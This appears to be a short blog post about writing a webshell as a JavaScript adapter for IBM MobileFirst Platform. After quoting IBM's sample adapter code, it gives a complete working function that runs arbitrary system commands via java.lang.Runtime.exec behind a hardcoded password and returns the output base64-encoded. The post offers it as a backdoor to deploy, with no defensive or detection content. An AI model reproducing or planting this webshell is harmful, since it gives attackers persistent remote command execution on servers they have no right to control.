IBM MFP Javascript Adapter Webshell
·1 min
IBM MobileFirst Platform (MFP) supports two types of adapter, Java and JavaScript. Making a webshell adapter in Java is quite straightforward, just google “how to execute system command in java” and slap the code together with the Java adapter sample provided by IBM and you got yourself an MFP webshell adapter
But with JavaScript adapter, it’s a little bit different. The good thing is you can still call Java method from JavaScript adapter in MFP
Sample code from the documentation
function addTwoIntegers(a,b){
return {
result: com.sample.customcode.Calculator.addTwoIntegers(a,b)
};
}
function subtractTwoIntegers(a,b){
var calcInstance = new com.sample.customcode.Calculator();
return {
result : calcInstance.subtractTwoIntegers(a,b)
};
}
Which means you can do this
function webshell(password,command) {
var result = "OK"
if (password == "SuperSecretKey2022"){
var p = java.lang.Runtime.getRuntime().exec(command).getInputStream()
var reader = java.io.BufferedReader(java.io.InputStreamReader(p))
var line
var output = ""
while ((line = reader.readLine()) != null){
output += line + "\n"
}
var rbytes = java.lang.String(output).getBytes()
var rb64 = java.util.Base64.getEncoder().encodeToString(rbytes)
result = rb64
}
return {
result : result
};
}
Java == JavaScript?